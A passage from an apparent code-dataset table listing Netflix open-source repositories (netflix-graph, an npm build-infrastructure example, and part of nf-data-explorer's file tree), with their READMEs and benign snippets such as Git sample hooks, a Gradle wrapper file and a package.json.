repo_id
stringlengths 1
51
| file_structure
stringlengths 56
247k
| readme_content
stringlengths 0
287k
| key_code_snippets
stringlengths 1.04k
16.8M
| __index_level_0__
float64 0
7
⌀ |
---|---|---|---|---|
netflix-graph | {"type": "directory", "name": "netflix-graph", "children": [{"type": "file", "name": "build.gradle"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "directory", "name": "codequality", "children": [{"type": "file", "name": "checkstyle.xml"}]}, {"type": "directory", "name": "gradle", "children": [{"type": "directory", "name": "wrapper", "children": [{"type": "file", "name": "gradle-wrapper.properties"}]}]}, {"type": "file", "name": "gradle.properties"}, {"type": "file", "name": "gradlew"}, {"type": "file", "name": "gradlew.bat"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "settings.gradle"}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "main", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "nfgraph", "children": [{"type": "directory", "name": "build", "children": [{"type": "file", "name": "NFBuildGraph.java"}, {"type": "file", "name": "NFBuildGraphNode.java"}, {"type": "file", "name": "NFBuildGraphNodeCache.java"}, {"type": "file", "name": "NFBuildGraphNodeConnections.java"}, {"type": "file", "name": "NFBuildGraphNodeList.java"}, {"type": "file", "name": "NFBuildGraphOrdinalIterator.java"}, {"type": "file", "name": "NFBuildGraphOrdinalSet.java"}]}, {"type": "directory", "name": "compressed", "children": [{"type": "file", "name": "BitSetOrdinalIterator.java"}, {"type": "file", "name": "BitSetOrdinalSet.java"}, {"type": "file", "name": "CompactOrdinalIterator.java"}, {"type": "file", "name": "CompactOrdinalSet.java"}, {"type": "file", "name": "HashSetOrdinalIterator.java"}, {"type": "file", "name": "HashSetOrdinalSet.java"}, {"type": "file", "name": "NFCompressedGraph.java"}, {"type": "file", "name": "NFCompressedGraphIntPointers.java"}, {"type": "file", "name": "NFCompressedGraphLongPointers.java"}, {"type": "file", "name": "NFCompressedGraphPointers.java"}, {"type": "file", "name": "SingleOrdinalIterator.java"}, {"type": "file", "name": "SingleOrdinalSet.java"}]}, {"type": "directory", "name": "compressor", "children": [{"type": "file", "name": "BitSetPropertyBuilder.java"}, {"type": "file", "name": "CompactPropertyBuilder.java"}, {"type": "file", "name": "HashedPropertyBuilder.java"}, {"type": "file", "name": "NFCompressedGraphBuilder.java"}]}, {"type": "directory", "name": "exception", "children": [{"type": "file", "name": "NFGraphException.java"}]}, {"type": "file", "name": "NFGraph.java"}, {"type": "file", "name": "NFGraphModelHolder.java"}, {"type": "file", "name": "OrdinalIterator.java"}, {"type": "file", "name": "OrdinalSet.java"}, {"type": "directory", "name": "serializer", "children": [{"type": "file", "name": "NFCompressedGraphDeserializer.java"}, {"type": "file", "name": "NFCompressedGraphPointersDeserializer.java"}, {"type": "file", "name": "NFCompressedGraphPointersSerializer.java"}, {"type": "file", "name": "NFCompressedGraphSerializer.java"}]}, {"type": "directory", "name": "spec", "children": [{"type": "file", "name": "NFGraphSpec.java"}, {"type": "file", "name": "NFNodeSpec.java"}, {"type": "file", "name": "NFPropertySpec.java"}]}, {"type": "directory", "name": "util", "children": [{"type": "file", "name": "ArrayIterator.java"}, {"type": "file", "name": "ByteArrayBuffer.java"}, {"type": "file", "name": "ByteArrayReader.java"}, {"type": "file", "name": "ByteData.java"}, {"type": "file", "name": "ByteSegmentPool.java"}, {"type": "file", "name": "Mixer.java"}, {"type": "file", "name": "OrdinalMap.java"}, {"type": "file", "name": "SegmentedByteArray.java"}, {"type": "file", "name": "SimpleByteArray.java"}]}]}]}]}]}]}, {"type": "directory", "name": "test", "children": [{"type": "directory", "name": "java", "children": [{"type": "directory", "name": "com", "children": [{"type": "directory", "name": "netflix", "children": [{"type": "directory", "name": "nfgraph", "children": [{"type": "directory", "name": "build", "children": [{"type": "file", "name": "NFBuildGraphOrdinalIteratorTest.java"}]}, {"type": "directory", "name": "compressed", "children": [{"type": "file", "name": "BitSetTest.java"}, {"type": "file", "name": "CompactSetTest.java"}, {"type": "file", "name": "EncodedConnectionSetTest.java"}, {"type": "file", "name": "HashSetTest.java"}, {"type": "file", "name": "NFCompressedGraphIntPointersTest.java"}, {"type": "file", "name": "NFCompressedGraphTest.java"}, {"type": "file", "name": "VIntTest.java"}]}, {"type": "file", "name": "NFGraphMemoryPoolTest.java"}, {"type": "file", "name": "NFGraphTest.java"}, {"type": "file", "name": "RandomizedGraphBuilder.java"}, {"type": "directory", "name": "serializer", "children": [{"type": "file", "name": "NFCompressedGraphPointersSerializerTest.java"}]}, {"type": "directory", "name": "spec", "children": [{"type": "file", "name": "NFPropertySpecTest.java"}]}, {"type": "directory", "name": "util", "children": [{"type": "file", "name": "OrdinalMapTest.java"}]}]}]}]}]}]}]}]} | NetflixGraph
============
[![NetflixOSS Lifecycle](https://img.shields.io/osslifecycle/Netflix/netflix-graph.svg)](#)
NetflixGraph is a compact in-memory data structure used to represent directed graph data. You can use NetflixGraph to vastly reduce the size of your application’s memory footprint, potentially by an order of magnitude or more. If your application is I/O bound, you may be able to remove that bottleneck by holding your entire dataset in RAM. This may be possible with NetflixGraph; you’ll likely be very surprised by how little memory is actually required to represent your data.
NetflixGraph provides an API to translate your data into a graph format, compress that data in memory, then serialize the compressed in-memory representation of the data so that it may be easily transported across your infrastructure.
Artifacts
---------
The NetflixGraph binaries are published to Maven Central.
|GroupID/Org|ArtifactID/Name|Latest Version|
| --------- | ------------- |--------------|
|com.netflix.nfgraph|netflix-graph|1.5.2|
...
<dependency>
<groupId>com.netflix.nfgraph</groupId>
<artifactId>netflix-graph</artifactId>
<version>1.5.2</version>
</dependency>
...
Features
--------
A quick overview can be found either on the [wiki](https://github.com/Netflix/netflix-graph/wiki) or on the [Netflix Tech Blog](http://techblog.netflix.com/2013/01/netflixgraph-metadata-library_18.html).
Since the blog article was published, a number of improvements have been made:
* contains() operations on connection sets are no longer necessarily O(n). Some memory-efficiency can be sacrificed to obtain O(1) performance.
* The library will automatically switch from the default encoding to bit set encoding if it is more memory efficient.
* Interfaces have been added to efficiently map Objects to ordinals.
Documentation
-------------
Detailed documentation of NetflixGraph's features and usage can be found on the [wiki](https://github.com/Netflix/netflix-graph/wiki).
Javadocs are available [here](http://netflix.github.com/netflix-graph/javadoc).
Build
-----
NetflixGraph is built via Gradle (www.gradle.org). To build from the command line:
./gradlew build
Support
-------
Support can be obtained through the [NetflixGraph google group](https://groups.google.com/group/netflix-graph)
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "gradle\\wrapper\\gradle-wrapper.properties": "distributionBase=GRADLE_USER_HOME\ndistributionPath=wrapper/dists\nzipStoreBase=GRADLE_USER_HOME\nzipStorePath=wrapper/dists\ndistributionUrl=https\\://services.gradle.org/distributions/gradle-7.5.1-bin.zip\n"} | null |
netflixoss-npm-build-infrastructure | {"type": "directory", "name": "netflixoss-npm-build-infrastructure", "children": [{"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}]} | # netflixoss-npm-build-infrastructure
| {"package.json": "{\n \"name\": \"@netflix/netflixoss-npm-build-infrastructure\",\n \"version\": \"1.9.1-rc.0\",\n \"description\": \"Example project to show how to setup build infrastructure for netflixoss npm project\",\n \"main\": \"index.js\",\n \"scripts\": {\n \"test\": \"echo \\\"Warn: no test specified\\\" && exit 0\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git+ssh://[email protected]/netflix/netflixoss-npm-build-infrastructure.git\"\n },\n \"author\": \"Martin Chalupa\",\n \"publishConfig\": {\n \"access\": \"public\"\n },\n \"bugs\": {\n \"url\": \"https://github.com/netflix/netflixoss-npm-build-infrastructure/issues\"\n },\n \"homepage\": \"https://github.com/netflix/netflixoss-npm-build-infrastructure#readme\"\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
nf-data-explorer | {"type": "directory", "name": "nf-data-explorer", "children": [{"type": "file", "name": ".dockerignore"}, {"type": "file", "name": ".editorconfig"}, {"type": "file", "name": ".env"}, {"type": "file", "name": ".eslintrc.json"}, {"type": "file", "name": ".nvmrc"}, {"type": "file", "name": ".prettierignore"}, {"type": "file", "name": ".prettierrc"}, {"type": "directory", "name": ".vscode", "children": [{"type": "file", "name": "extensions.json"}, {"type": "file", "name": "launch.json"}, {"type": "file", "name": "settings.json"}]}, {"type": "file", "name": "CONTRIBUTING.MD"}, {"type": "file", "name": "docker-compose.demo.yml"}, {"type": "file", "name": "docker-compose.dev.yml"}, {"type": "file", "name": "Dockerfile"}, {"type": "file", "name": "gulpfile.js"}, {"type": "directory", "name": "install", "children": [{"type": "file", "name": "install.js"}, {"type": "directory", "name": "lib", "children": [{"type": "file", "name": "acls.js"}, {"type": "directory", "name": "datastores", "children": [{"type": "file", "name": "cassandra.js"}, {"type": "file", "name": "dynomite.js"}, {"type": "file", "name": "redis.js"}]}, {"type": "file", "name": "discovery.js"}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "commands.js"}, {"type": "file", "name": "file-writer.js"}, {"type": "file", "name": "log.js"}, {"type": "file", "name": "ports.js"}, {"type": "file", "name": "spinner.js"}]}]}]}, {"type": "file", "name": "jest-express-app.config.js"}, {"type": "file", "name": "jest-services.config.js"}, {"type": "file", "name": "jest-setup-express.ts"}, {"type": "file", "name": "jest-setup-services.ts"}, {"type": "file", "name": "jest.config.js"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "nf-data-explorer.code-workspace"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "schema", "children": [{"type": "file", "name": "discovery-schema.json"}]}, {"type": "directory", "name": "src", "children": [{"type": "directory", "name": "client", "children": [{"type": "file", "name": ".editorconfig"}, {"type": "file", "name": ".eslintrc.js"}, {"type": "file", "name": ".nvmrc"}, {"type": "file", "name": ".prettierignore"}, {"type": "file", "name": ".prettierrc"}, {"type": "file", "name": "babel.config.js"}, {"type": "file", "name": "jest.config.js"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "postcss.config.js"}, {"type": "directory", "name": "public", "children": [{"type": "directory", "name": "images", "children": [{"type": "file", "name": "icon_cassandra.svg"}]}, {"type": "directory", "name": "img", "children": [{"type": "directory", "name": "icons", "children": [{"type": "file", "name": "safari-pinned-tab.svg"}]}]}, {"type": "file", "name": "index.html"}, {"type": "file", "name": "manifest.json"}, {"type": "file", "name": "robots.txt"}]}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "App.vue"}, {"type": "directory", "name": "assets", "children": [{"type": "file", "name": "cassandra-logo.svg"}, {"type": "file", "name": "search.svg"}, {"type": "file", "name": "styles.css"}]}, {"type": "directory", "name": "components", "children": [{"type": "directory", "name": "cassandra", "children": [{"type": "file", "name": "CassandraNav.vue"}, {"type": "file", "name": "CassBreadcrumbs.vue"}, {"type": "file", "name": "CassEncodingDropdown.vue"}, {"type": "file", "name": "CassNetworkTopologyStrategy.vue"}, {"type": "file", "name": "CassOtherStrategy.vue"}, {"type": "file", "name": "CassPrimaryKeyFilters.vue"}, {"type": "file", "name": "CassRowDialog.vue"}, {"type": "file", "name": "CassSampleQuery.vue"}, {"type": "file", "name": "CassSharedClusterMessage.vue"}, {"type": "file", "name": "CassTableActions.vue"}, {"type": "file", "name": "CassTableActivity.vue"}, {"type": "file", "name": "CassTablePropertiesEditor.vue"}, {"type": "file", "name": "CassTableResults.vue"}, {"type": "file", "name": "CassTableRowFormItem.vue"}, {"type": "file", "name": "CassTableRowFormItemBlob.vue"}, {"type": "directory", "name": "create-table", "children": [{"type": "file", "name": "CassCreateTableColumnItem.vue"}, {"type": "file", "name": "CassCreateTableColumnsPage.vue"}, {"type": "file", "name": "CassCreateTableCompactionPage.vue"}, {"type": "file", "name": "CassCreateTableInfoPage.vue"}, {"type": "file", "name": "CassCreateTableSchemaTools.vue"}, {"type": "file", "name": "CassCreateTableSettingsPage.vue"}, {"type": "file", "name": "CassCreateTableStatementPreview.vue"}, {"type": "file", "name": "CassCreateTableStorageLayout.vue"}, {"type": "file", "name": "CassCreateTableSummaryPage.vue"}, {"type": "file", "name": "compaction-strategies.ts"}]}, {"type": "directory", "name": "icons", "children": [{"type": "file", "name": "CassClusteringKeyIcon.vue"}, {"type": "file", "name": "CassColumnIcon.vue"}, {"type": "file", "name": "CassDatastoreIcon.vue"}, {"type": "file", "name": "CassKeyspaceIcon.vue"}, {"type": "file", "name": "CassPartitionKeyIcon.vue"}, {"type": "file", "name": "CassTableIcon.vue"}, {"type": "file", "name": "CassTableThriftIcon.vue"}]}, {"type": "directory", "name": "query", "children": [{"type": "directory", "name": "editor", "children": [{"type": "file", "name": "CassQueryCompleter.ts"}, {"type": "file", "name": "CassQueryEditor.vue"}, {"type": "file", "name": "CassQueryTokenizer.ts"}, {"type": "file", "name": "CassQueryValidationMessage.vue"}, {"type": "file", "name": "CassQueryValidator.ts"}, {"type": "file", "name": "cql-snippets.js"}, {"type": "file", "name": "cql.js"}]}, {"type": "directory", "name": "nav", "children": [{"type": "file", "name": "cassandra-nav-menu-items.ts"}, {"type": "file", "name": "cassandra-syntax.ts"}, {"type": "file", "name": "CassQueryHelp.vue"}, {"type": "file", "name": "CassQueryHistory.vue"}, {"type": "file", "name": "CassQueryNavContent.vue"}, {"type": "file", "name": "CassQueryNavMenu.vue"}, {"type": "file", "name": "CassSchemaExplorer.vue"}, {"type": "file", "name": "CassSyntaxHelp.vue"}]}]}]}, {"type": "file", "name": "ClusterSelector.vue"}, {"type": "directory", "name": "common", "children": [{"type": "file", "name": "AceEditor.vue"}, {"type": "file", "name": "AttributesForm.vue"}, {"type": "directory", "name": "charts", "children": [{"type": "file", "name": "BasicLineChart.vue"}, {"type": "file", "name": "SparkLine.vue"}, {"type": "file", "name": "TimeSeriesChart.vue"}]}, {"type": "file", "name": "ClusterList.vue"}, {"type": "file", "name": "CopyDateButton.vue"}, {"type": "file", "name": "CopyTextButton.vue"}, {"type": "file", "name": "DatastoreOverview.vue"}, {"type": "file", "name": "FileUploadItem.vue"}, {"type": "file", "name": "HelpfulFormItem.vue"}, {"type": "file", "name": "HttpStatusErrorAlert.vue"}, {"type": "file", "name": "i18nSelector.vue"}, {"type": "directory", "name": "icons", "children": [{"type": "file", "name": "ClusterIcon.vue"}]}, {"type": "file", "name": "RouteBreadcrumbs.vue"}, {"type": "file", "name": "TtlInput.vue"}]}, {"type": "directory", "name": "dynamic", "children": [{"type": "directory", "name": "base", "children": [{"type": "file", "name": "email-selector.vue"}, {"type": "file", "name": "notification-element.vue"}]}]}, {"type": "directory", "name": "dynomite", "children": [{"type": "file", "name": "DynoKeyBrowser.vue"}, {"type": "file", "name": "DynoKeyCollectionDialog.vue"}, {"type": "file", "name": "DynoKeyCollectionEditor.vue"}, {"type": "file", "name": "DynoKeyDetails.vue"}, {"type": "file", "name": "DynoKeyNameFormItem.vue"}, {"type": "file", "name": "DynoKeyStringEditor.vue"}, {"type": "file", "name": "DynoKeyTtlEditor.vue"}, {"type": "file", "name": "DynoKeyTtlField.vue"}, {"type": "file", "name": "DynoKeyTtlFormItem.vue"}, {"type": "file", "name": "DynomiteNav.vue"}]}, {"type": "file", "name": "TheNav.vue"}]}, {"type": "file", "name": "config.ts"}, {"type": "file", "name": "datastore-definitions.ts"}, {"type": "directory", "name": "filters", "children": [{"type": "file", "name": "index.ts"}]}, {"type": "directory", "name": "i18n", "children": [{"type": "file", "name": "index.ts"}, {"type": "directory", "name": "locales", "children": [{"type": "file", "name": "en-US.ts"}]}]}, {"type": "file", "name": "icons.ts"}, {"type": "file", "name": "main.ts"}, {"type": "directory", "name": "models", "children": [{"type": "directory", "name": "cassandra", "children": [{"type": "file", "name": "ClusterSchema.ts"}]}, {"type": "directory", "name": "errors", "children": [{"type": "file", "name": "HttpStatusError.ts"}, {"type": "file", "name": "RequestCanceledError.ts"}]}]}, {"type": "file", "name": "registerServiceWorker.ts"}, {"type": "directory", "name": "router", "children": [{"type": "file", "name": "admin-routes.ts"}, {"type": "file", "name": "cassandra-routes.ts"}, {"type": "file", "name": "dynomite-routes.ts"}, {"type": "file", "name": "index.ts"}, {"type": "file", "name": "params.ts"}, {"type": "file", "name": "routes.ts"}]}, {"type": "file", "name": "service-worker.js"}, {"type": "directory", "name": "services", "children": [{"type": "file", "name": "AdminService.ts"}, {"type": "file", "name": "BaseService.ts"}, {"type": "directory", "name": "cassandra", "children": [{"type": "file", "name": "CassService.ts"}, {"type": "directory", "name": "lib", "children": [{"type": "file", "name": "ClusterService.ts"}, {"type": "file", "name": "FeatureService.ts"}, {"type": "file", "name": "KeyspaceService.ts"}, {"type": "file", "name": "MetricsService.ts"}, {"type": "file", "name": "QueryService.ts"}, {"type": "file", "name": "SchemaService.ts"}, {"type": "file", "name": "TablesService.ts"}, {"type": "file", "name": "UsageService.ts"}]}]}, {"type": "file", "name": "ClusterService.ts"}, {"type": "file", "name": "ConfigService.ts"}, {"type": "directory", "name": "dynomite", "children": [{"type": "file", "name": "DynoService.ts"}, {"type": "directory", "name": "lib", "children": [{"type": "file", "name": "DynoClusterService.ts"}, {"type": "file", "name": "DynoFieldsService.ts"}, {"type": "file", "name": "DynoKeyService.ts"}]}]}, {"type": "directory", "name": "user", "children": [{"type": "directory", "name": "providers", "children": [{"type": "file", "name": "BaseUserServiceProvider.ts"}, {"type": "file", "name": "IUserServiceProvider.ts"}]}, {"type": "file", "name": "UserService.ts"}, {"type": "directory", "name": "__mocks__", "children": [{"type": "file", "name": "UserService.ts"}]}]}]}, {"type": "directory", "name": "setup", "children": [{"type": "file", "name": "dynamic-components.ts"}]}, {"type": "directory", "name": "shared", "children": []}, {"type": "file", "name": "shims-style.d.ts"}, {"type": "file", "name": "shims-tsx.d.ts"}, {"type": "file", "name": "shims-vue.d.ts"}, {"type": "directory", "name": "store", "children": [{"type": "file", "name": "actions.ts"}, {"type": "file", "name": "index.ts"}, {"type": "directory", "name": "modules", "children": [{"type": "directory", "name": "cassandra", "children": [{"type": "file", "name": "cluster.ts"}, {"type": "file", "name": "explore.ts"}, {"type": "file", "name": "index.ts"}, {"type": "file", "name": "query.ts"}]}, {"type": "file", "name": "config.ts"}, {"type": "file", "name": "dynomite.ts"}, {"type": "file", "name": "user.ts"}]}, {"type": "directory", "name": "plugins", "children": [{"type": "file", "name": "axios-state-plugin.ts"}]}]}, {"type": "directory", "name": "typings", "children": [{"type": "file", "name": "notifications.ts"}, {"type": "file", "name": "routes.d.ts"}, {"type": "file", "name": "store.d.ts"}, {"type": "file", "name": "userinfo.d.ts"}, {"type": "file", "name": "validation.d.ts"}, {"type": "file", "name": "vue-tables-2.d.ts"}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "cassandra-primary-key-utils.ts"}, {"type": "file", "name": "cassandra-route-utils.ts"}, {"type": "file", "name": "cassandra-utils.ts"}, {"type": "file", "name": "class-loader.ts"}, {"type": "file", "name": "clipboard-utils.ts"}, {"type": "file", "name": "data-utils.ts"}, {"type": "file", "name": "download-utils.ts"}, {"type": "file", "name": "env-utils.ts"}, {"type": "file", "name": "feature-utils.ts"}, {"type": "file", "name": "math-utils.ts"}, {"type": "file", "name": "message-utils.ts"}, {"type": "file", "name": "recent-queries-utils.ts"}, {"type": "file", "name": "region-utils.ts"}, {"type": "file", "name": "route-utils.ts"}, {"type": "file", "name": "service-utils.ts"}, {"type": "file", "name": "set-utils.ts"}, {"type": "file", "name": "tableproperties-utils.ts"}]}, {"type": "directory", "name": "validators", "children": [{"type": "directory", "name": "cassandra", "children": [{"type": "file", "name": "keyspace-strategy-validator.ts"}]}]}, {"type": "directory", "name": "views", "children": [{"type": "file", "name": "AdminView.vue"}, {"type": "directory", "name": "cassandra", "children": [{"type": "file", "name": "CassView.vue"}, {"type": "directory", "name": "explore", "children": [{"type": "file", "name": "CassAddRowDialog.vue"}, {"type": "file", "name": "CassCreateKeyspaceView.vue"}, {"type": "file", "name": "CassCreateTableAdvancedView.vue"}, {"type": "file", "name": "CassCreateTableView.vue"}, {"type": "file", "name": "CassDropTableDialog.vue"}, {"type": "file", "name": "CassEditRowDialog.vue"}, {"type": "file", "name": "CassExploreView.vue"}, {"type": "file", "name": "CassKeyspaceDetailsView.vue"}, {"type": "file", "name": "CassKeyspacesView.vue"}, {"type": "file", "name": "CassKeyspaceTablesView.vue"}, {"type": "file", "name": "CassKeyspaceUdtsView.vue"}, {"type": "file", "name": "CassTableActivityView.vue"}, {"type": "file", "name": "CassTableColumnsView.vue"}, {"type": "file", "name": "CassTableDataView.vue"}, {"type": "file", "name": "CassTablePropertiesView.vue"}, {"type": "file", "name": "CassTableSampleQueriesView.vue"}, {"type": "file", "name": "CassTableView.vue"}]}, {"type": "directory", "name": "query", "children": [{"type": "file", "name": "CassQueryView.vue"}]}]}, {"type": "file", "name": "ContainerView.vue"}, {"type": "file", "name": "DatastoresView.vue"}, {"type": "directory", "name": "dynomite", "children": [{"type": "file", "name": "DynoClusterView.vue"}, {"type": "file", "name": "DynoCreateKeyView.vue"}, {"type": "file", "name": "DynoEditKeyView.vue"}, {"type": "file", "name": "DynoEmptyKeyView.vue"}, {"type": "file", "name": "DynoView.vue"}]}]}]}, {"type": "directory", "name": "tests", "children": [{"type": "directory", "name": "unit", "children": [{"type": "file", "name": ".eslintrc.js"}, {"type": "file", "name": "App.spec.ts"}, {"type": "file", "name": "TheNav.spec.ts"}]}]}, {"type": "file", "name": "tsconfig.json"}, {"type": "file", "name": "vue.config.js"}, {"type": "file", "name": "yarn.lock"}]}, {"type": "directory", "name": "server", "children": [{"type": "directory", "name": "config", "children": [{"type": "file", "name": "base-config.ts"}, {"type": "file", "name": "configuration.ts"}, {"type": "file", "name": "constants.ts"}, {"type": "file", "name": "error-handlers.ts"}, {"type": "directory", "name": "logger", "children": [{"type": "file", "name": "index.ts"}, {"type": "file", "name": "logger.d.ts"}, {"type": "directory", "name": "providers", "children": [{"type": "file", "name": "BaseLoggerProvider.ts"}, {"type": "file", "name": "ILoggerProvider.ts"}]}, {"type": "directory", "name": "__mocks__", "children": [{"type": "file", "name": "index.ts"}]}]}, {"type": "file", "name": "middlewares.ts"}, {"type": "directory", "name": "services", "children": [{"type": "file", "name": "cluster-acl.ts"}, {"type": "file", "name": "datastores.ts"}, {"type": "file", "name": "discovery.ts"}, {"type": "file", "name": "entity-acls.ts"}, {"type": "file", "name": "explorer.ts"}, {"type": "file", "name": "index.ts"}, {"type": "file", "name": "user.ts"}, {"type": "directory", "name": "__mocks__", "children": [{"type": "file", "name": "index.ts"}]}]}, {"type": "file", "name": "setup-env.ts"}, {"type": "directory", "name": "__mocks__", "children": [{"type": "file", "name": "configuration.ts"}, {"type": "file", "name": "setup-env.ts"}]}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "middlewares.spec.ts"}]}]}, {"type": "directory", "name": "i18n", "children": [{"type": "file", "name": "index.ts"}, {"type": "directory", "name": "locales", "children": [{"type": "file", "name": "en-US.ts"}]}]}, {"type": "file", "name": "index.ts"}, {"type": "directory", "name": "model", "children": [{"type": "directory", "name": "errors", "children": [{"type": "file", "name": "AuthenticationError.ts"}, {"type": "file", "name": "ClusterAclsNotLoadedError.ts"}, {"type": "file", "name": "ClusterMissingAclsError.ts"}, {"type": "file", "name": "ClusterNotAuthorizedError.ts"}, {"type": "file", "name": "DatastoreNotAvailableError.ts"}, {"type": "file", "name": "EntityMissingAclOwners.ts"}, {"type": "file", "name": "EntityNotAuthorizedError.ts"}, {"type": "file", "name": "FeatureDisabledError.ts"}, {"type": "file", "name": "FeatureNotImplementedError.ts"}, {"type": "file", "name": "FileUploadError.ts"}, {"type": "file", "name": "HttpStatusError.ts"}, {"type": "file", "name": "NoClustersAvailableErrors.ts"}, {"type": "file", "name": "OperationNotSupportedInEnvError.ts"}]}, {"type": "file", "name": "store.ts"}, {"type": "directory", "name": "__mocks__", "children": [{"type": "file", "name": "mock-store-helpers.ts"}, {"type": "file", "name": "store.ts"}]}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "store.spec.ts"}]}]}, {"type": "directory", "name": "models", "children": [{"type": "file", "name": "HttpStatusError.ts"}]}, {"type": "directory", "name": "routes", "children": [{"type": "directory", "name": "admin", "children": [{"type": "file", "name": "index.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "index.spec.ts"}]}]}, {"type": "directory", "name": "datastores", "children": [{"type": "directory", "name": "cassandra", "children": [{"type": "directory", "name": "clusters", "children": [{"type": "file", "name": "index.ts"}, {"type": "directory", "name": "keyspaces", "children": [{"type": "file", "name": "index.ts"}, {"type": "directory", "name": "tables", "children": [{"type": "file", "name": "index.ts"}, {"type": "directory", "name": "keys", "children": [{"type": "file", "name": "CassandraResultsExporter.ts"}, {"type": "file", "name": "index.ts"}]}]}, {"type": "directory", "name": "types", "children": [{"type": "file", "name": "index.ts"}]}]}, {"type": "directory", "name": "metrics", "children": [{"type": "file", "name": "index.ts"}]}, {"type": "directory", "name": "query", "children": [{"type": "file", "name": "index.ts"}]}]}, {"type": "directory", "name": "features", "children": [{"type": "file", "name": "index.ts"}]}, {"type": "file", "name": "index.ts"}]}, {"type": "directory", "name": "dynomite", "children": [{"type": "directory", "name": "clusters", "children": [{"type": "directory", "name": "fields", "children": [{"type": "file", "name": "index.ts"}]}, {"type": "file", "name": "index.ts"}, {"type": "directory", "name": "keys", "children": [{"type": "file", "name": "index.ts"}]}]}, {"type": "file", "name": "index.ts"}]}, {"type": "file", "name": "index.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "index.spec.ts"}]}]}, {"type": "directory", "name": "env", "children": [{"type": "file", "name": "index.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "constants.ts"}, {"type": "file", "name": "index.spec.ts"}]}]}, {"type": "directory", "name": "i18n", "children": [{"type": "file", "name": "index.ts"}]}, {"type": "file", "name": "index.ts"}, {"type": "directory", "name": "user", "children": [{"type": "file", "name": "index.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "index.spec.ts"}]}]}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "index.spec.ts"}]}]}, {"type": "directory", "name": "services", "children": [{"type": "directory", "name": "cluster-acls", "children": [{"type": "file", "name": "ClusterAccessControlService.ts"}, {"type": "directory", "name": "providers", "children": [{"type": "file", "name": "ClusterAccessControlProvider.ts"}, {"type": "file", "name": "CustomAccessControlProvider.ts"}, {"type": "file", "name": "DefaultClusterAccessControlProvider.ts"}]}, {"type": "directory", "name": "typings", "children": [{"type": "file", "name": "acl.d.ts"}]}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "ClusterAccessControlService.spec.ts"}]}]}, {"type": "directory", "name": "datastores", "children": [{"type": "directory", "name": "base", "children": [{"type": "file", "name": "BaseDatastoreService.ts"}, {"type": "file", "name": "datastore.d.ts"}, {"type": "directory", "name": "errors", "children": [{"type": "file", "name": "AdminCredentialsRequiredError.ts"}, {"type": "file", "name": "ClusterConnectionError.ts"}, {"type": "file", "name": "ClusterNotFoundError.ts"}]}]}, {"type": "directory", "name": "cassandra", "children": [{"type": "file", "name": "index.ts"}, {"type": "directory", "name": "lib", "children": [{"type": "file", "name": "cassandra-config.ts"}, {"type": "file", "name": "CassandraExplorer.ts"}, {"type": "directory", "name": "errors", "children": [{"type": "file", "name": "CassandraAuthenticationError.ts"}, {"type": "file", "name": "CassandraColumnNameNotFound.ts"}, {"type": "file", "name": "CassandraCreateOrUpdateError.ts"}, {"type": "file", "name": "CassandraIncorrectColumnType.ts"}, {"type": "file", "name": "CassandraKeyspaceAlreadyExists.ts"}, {"type": "file", "name": "CassandraKeyspaceAndTableRequired.ts"}, {"type": "file", "name": "CassandraKeyspaceNotAccessible.ts"}, {"type": "file", "name": "CassandraKeyspaceNotFound.ts"}, {"type": "file", "name": 